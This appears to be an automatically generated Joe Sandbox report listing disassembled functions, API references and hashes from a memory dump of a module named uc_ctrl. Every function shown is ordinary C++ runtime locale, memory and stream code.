Instruction ID: 376810a112cc134be97bbf5e3a80dfd53303e3a51971d680f1b08e00f149b2f4
Opcode Fuzzy Hash: dc0d4df8c6f8d34d7cfaade4f26646066fa5e54732d14c28aa7a40b1214ba556
Instruction Fuzzy Hash: DCF0BEB18003168BCB04EFA4C4916DDB370FF24628FA0442ED1496BB80DB30EA09CB44

Function 6C940B70 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C940B77
new.LIBCMT ref: 6C940B8E

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6C949CD5,?,?,00000000,?,?,?,00000004), ref: 6C940BA8

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6C949CD5,?,?,00000000,?,?,?,00000004), ref: 6C940BBB

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: f4147cc346596fabe45c76ec084e09d22c3db51ce51d45238df327c072f705ea
Instruction ID: e70601d391c04ecb72a678d9eeb0153fcfe7e5dc323670a3e2eb879eb46a653d
Opcode Fuzzy Hash: f4147cc346596fabe45c76ec084e09d22c3db51ce51d45238df327c072f705ea
Instruction Fuzzy Hash: 5FF05EB18017169BCB00EFA4C4916DDB770FF34718FA0942ED5466BB90DB74D618CB44

Function 6C936490 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C936497
new.LIBCMT ref: 6C9364AE

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6C936416,?,?,00000000,?,?,?,00000004), ref: 6C9364C8

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6C936416,?,?,00000000,?,?,?,00000004), ref: 6C9364DB

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: 2d449e0c37d45253c84537ad16794621c3c58385d870729b906fa74578388db8
Instruction ID: 0a25f7cee95ba0ee3b362cec4563bb047a9c46da7887184d21b7107d148100e3
Opcode Fuzzy Hash: 2d449e0c37d45253c84537ad16794621c3c58385d870729b906fa74578388db8
Instruction Fuzzy Hash: BFF05E719017169BCB10EFA4C4456DDB770FF24658FA0942ED4596BB80DB74D618CB40

Function 6C939530 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C939537
new.LIBCMT ref: 6C93954E

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6C93B00C,?,?,00000000,?,?,?,00000004), ref: 6C939568

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6C93B00C,?,?,00000000,?,?,?,00000004), ref: 6C93957B

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: 2fd432b3cb25e73ee19e75a13afb2da73ac725c2501e39b2188c8ec75ceaac88
Instruction ID: 5b74831828dfa7e86d2c70500dd6c0517a68c9170b7928b502dd9302d0b036ba
Opcode Fuzzy Hash: 2fd432b3cb25e73ee19e75a13afb2da73ac725c2501e39b2188c8ec75ceaac88
Instruction Fuzzy Hash: 2FF0BEB2900312CBCB00EFA4C4416DDB370FF64618FA0442ED5496BB80EF30DA08CB40

Function 6C941560 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C941567
new.LIBCMT ref: 6C94157E

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6C949C3A,?,?,00000000,?,?,?,00000004), ref: 6C941598

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6C949C3A,?,?,00000000,?,?,?,00000004), ref: 6C9415AB

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: 69139301b14b7e39d3bdb65bc8f7c2bc0ae3fc5bfe905e41adcc0062776e6c98
Instruction ID: 4589391494eb659586cbd9277ddb023062304f190195b5a4c6f48c73a45c14c4
Opcode Fuzzy Hash: 69139301b14b7e39d3bdb65bc8f7c2bc0ae3fc5bfe905e41adcc0062776e6c98
Instruction Fuzzy Hash: CCF05EB18017169BCB00EFA4C4416DDB7B0FF35758FA0952ED54A6BB80EB74D658CB44

Function 6C9347C0 Relevance: 6.0, APIs: 4, Instructions: 30COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C9347C7
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000000), ref: 6C9347F8

Part of subcall function 6C934270: _CxxThrowException.VCRUNTIME140(00000000,00000000), ref: 6C934309

new.LIBCMT ref: 6C9347FF

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

?_Init@locale@std@@CAPAV_Locimp@12@_N@Z.MSVCP140(00000001,00000008,00000000,00000000,?,?,?,?,?,00000000), ref: 6C93480B

Part of subcall function 6C93B490: __EH_prolog3.LIBCMT ref: 6C93B497
Part of subcall function 6C93B490: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000008,6C93B457,00000000,6C933249,00000048), ref: 6C93B4A1
Part of subcall function 6C93B490: ?_New_Locimp@_Locimp@locale@std@@CAPAV123@_N@Z.MSVCP140(00000000), ref: 6C93B4B5
Part of subcall function 6C93B490: std::locale::_Setgloballocale.LIBCPMT(00000000,00000000), ref: 6C93B4BD
Part of subcall function 6C93B490: ??4?$_Yarn@D@std@@QAEAAV01@PBD@Z.MSVCP140(?,?,?,?,6C925578), ref: 6C93B4D3
Part of subcall function 6C93B490: ??1_Lockit@std@@QAE@XZ.MSVCP140 ref: 6C93B511

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_??4?$_?clear@ios_base@std@@D@std@@ExceptionInit@locale@std@@Locimp@12@_Locimp@_Locimp@locale@std@@Lockit@std@@New_SetgloballocaleThrowV01@V123@_Yarn@_lock_localesmallocstd::locale::_
String ID:
API String ID: 2913051017-0
Opcode ID: 8d33d580135b1a5d1e1fbafbe82106c9908f5279da75ccb6cc7daba6d8c2ab66
Instruction ID: d558b43547526d9625bd9604df9c480afe5c245cd39e37b7835d85c21337acfc
Opcode Fuzzy Hash: 8d33d580135b1a5d1e1fbafbe82106c9908f5279da75ccb6cc7daba6d8c2ab66
Instruction Fuzzy Hash: 9AF0B7B0901B02ABD304DF6AD5C0645FAB1BB28718F90922ED10C97F80CB75E5788BD8

Function 6C93C6F0 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C93C6F7
?_Xbad_function_call@std@@YAXXZ.MSVCP140(00000000), ref: 6C93C707

Part of subcall function 6C94E060: _CxxThrowException.VCRUNTIME140(?,6C963D20), ref: 6C94E076

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ExceptionH_prolog3ThrowXbad_function_call@std@@
String ID:
API String ID: 3336945522-0
Opcode ID: e2c6d44fee03b69209108e68efa457276984eb18e7abc78076e75cbf43aa2182
Instruction ID: 9f15e3f83f038591596d1b8121092e929225a9df9f2aacabfa582140df0fdc82
Opcode Fuzzy Hash: e2c6d44fee03b69209108e68efa457276984eb18e7abc78076e75cbf43aa2182
Instruction Fuzzy Hash: 73F082356016248BCB00EF34C0147BD7376BFE4618F564508D8555BB80CF34EE259790

Function 6C94BDDB Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94BDE2
new.LIBCMT ref: 6C94BDF6

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6C94D605,00000000,?,?,?,00000004), ref: 6C94BE10

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6C94D605,00000000,?,?,?,00000004), ref: 6C94BE24

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93156C
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93157E
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931590

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionLocinfo_ctor@_Locinfo_dtor@_ThrowV12@V12@@_lock_localesmallocstd::bad_exception::bad_exception
String ID:
API String ID: 2887603401-0
Opcode ID: 2ec1bac84966769fafa252e71d6b5903719fc1d343aa8b1424567e478826e8c7
Instruction ID: ec95027b3573b9ef747a11e1da9106a6273a8fd69ae63e15722ffcb4581a35c9
Opcode Fuzzy Hash: 2ec1bac84966769fafa252e71d6b5903719fc1d343aa8b1424567e478826e8c7
Instruction Fuzzy Hash: BCF082329003118BDB04DF60D4117ED72B4BF34729F505429D1855BBD0DFB8D618C780

Function 6C935ED0 Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

?_Init@ios_base@std@@IAEXXZ.MSVCP140(?,?,6C93543D,?,?,?,?,?,?,00000008), ref: 6C935ED6

Part of subcall function 6C9347C0: __EH_prolog3.LIBCMT ref: 6C9347C7
Part of subcall function 6C9347C0: ?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000000), ref: 6C9347F8
Part of subcall function 6C9347C0: new.LIBCMT ref: 6C9347FF
Part of subcall function 6C9347C0: ?_Init@locale@std@@CAPAV_Locimp@12@_N@Z.MSVCP140(00000001,00000008,00000000,00000000,?,?,?,?,?,00000000), ref: 6C93480B

?widen@?$basic_ios@DU?$char_traits@D@std@@@std@@QBEDD@Z.MSVCP140(00000020,?,?,?,?,?,?,?,?,6C93543D,?,?), ref: 6C935EE9

Part of subcall function 6C936140: __EH_prolog3.LIBCMT ref: 6C936147
Part of subcall function 6C936140: ?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000008,6C935EEE,00000020,?,?,?,?,?,?,?,?,6C93543D,?,?), ref: 6C936150
Part of subcall function 6C936140: std::locale::~locale.LIBCPMT ref: 6C936169

?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000020,?,?,?,?,?,?,?,?,6C93543D,?,?), ref: 6C935F02

Part of subcall function 6C934270: _CxxThrowException.VCRUNTIME140(00000000,00000000), ref: 6C934309

?_Addstd@ios_base@std@@SAXPAV12@@Z.MSVCP140(?,00000020,?,?,?,?,?,?,?,?,6C93543D,?,?), ref: 6C935F0E

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ?clear@ios_base@std@@H_prolog3$?getloc@ios_base@std@@?widen@?$basic_ios@Addstd@ios_base@std@@D@std@@@std@@ExceptionInit@ios_base@std@@Init@locale@std@@Locimp@12@_ThrowU?$char_traits@V12@@Vlocale@2@std::locale::~locale
String ID:
API String ID: 2004809026-0
Opcode ID: cf6d826b501820d30bf1e5a2ed049b256d87a9bdad3bc25c6b5786ae7236f817
Instruction ID: c44abfe7c29fd62c1160ca2989280234f5aef244a06447d15b0068e8cbbffcae
Opcode Fuzzy Hash: cf6d826b501820d30bf1e5a2ed049b256d87a9bdad3bc25c6b5786ae7236f817
Instruction Fuzzy Hash: 69F0E5311047606BE72096619844B877BE8AF2162DF00680EE48A9BF81C776F4488BD4

Function 6C94BE5C Relevance: 6.0, APIs: 4, Instructions: 28COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94BE63
new.LIBCMT ref: 6C94BE77

Part of subcall function 6C95A364: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,6C93021B,00000054), ref: 6C95A38B

??0_Locinfo@std@@QAE@PBD@Z.MSVCP140(00000000,00000038,6C94D56C,00000000,?,?,?,00000004), ref: 6C94BE91

Part of subcall function 6C931410: __EH_prolog3.LIBCMT ref: 6C931417
Part of subcall function 6C931410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6C931425
Part of subcall function 6C931410: std::bad_exception::bad_exception.LIBCMT ref: 6C931467
Part of subcall function 6C931410: _CxxThrowException.VCRUNTIME140(?,6C963B5C,bad locale name), ref: 6C931475
Part of subcall function 6C931410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6C93147E

??1_Locinfo@std@@QAE@XZ.MSVCP140(00000038,6C94D56C,00000000,?,?,?,00000004), ref: 6C94BEA5

Part of subcall function 6C931520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931525
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931534
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C931548
Part of subcall function 6C931520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6C93330B,00000000,00000000,0000003C,6C93637B,?,?,00000000,?,6C93620D,?,00000003,00000010), ref: 6C93155A
